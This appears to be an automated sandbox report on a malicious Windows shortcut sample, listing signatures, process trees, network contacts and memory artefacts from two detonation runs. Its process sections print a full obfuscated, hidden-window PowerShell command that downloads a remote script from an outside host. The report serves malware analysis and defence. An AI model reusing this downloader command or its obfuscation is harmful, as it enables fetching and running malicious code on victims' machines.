Analysis Overview
SHA256
5fa18fbb64e4a643048c6662c2907332ddbc72c9c2ea3f6f2939323e51825b4b
Threat Level: Likely malicious
The file a61c42402eb69a3f41137cd9ed0d1c1b_JaffaCakes118 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-13 14:49
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 14:49
Reported
2024-06-13 14:52
Platform
win7-20240611-en
Max time kernel
120s
Max time network
121s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2740 wrote to memory of 2664 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2740 wrote to memory of 2664 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2740 wrote to memory of 2664 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p
Network
Files
memory/2664-38-0x000007FEF5A6E000-0x000007FEF5A6F000-memory.dmp
memory/2664-39-0x000000001B550000-0x000000001B832000-memory.dmp
memory/2664-40-0x00000000021C0000-0x00000000021C8000-memory.dmp
memory/2664-41-0x0000000002CF4000-0x0000000002CF7000-memory.dmp
memory/2664-42-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp
memory/2664-43-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 14:49
Reported
2024-06-13 14:52
Platform
win10v2004-20240611-en
Max time kernel
98s
Max time network
94s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4740 wrote to memory of 4812 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4740 wrote to memory of 4812 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | panel-dark.com | udp |
| US | 104.155.138.21:80 | panel-dark.com | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.138.155.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| BE | 88.221.83.178:443 | www.bing.com | tcp |
| BE | 88.221.83.178:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 178.83.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 155.83.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/4812-2-0x00007FF942A53000-0x00007FF942A55000-memory.dmp
memory/4812-3-0x0000025D763D0000-0x0000025D763F2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cuqftawr.wle.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4812-13-0x00007FF942A50000-0x00007FF943511000-memory.dmp
memory/4812-14-0x00007FF942A50000-0x00007FF943511000-memory.dmp
memory/4812-15-0x00007FF942A50000-0x00007FF943511000-memory.dmp
memory/4812-19-0x00007FF942A50000-0x00007FF943511000-memory.dmp
memory/4812-18-0x00007FF942A53000-0x00007FF942A55000-memory.dmp
memory/4812-20-0x00007FF942A50000-0x00007FF943511000-memory.dmp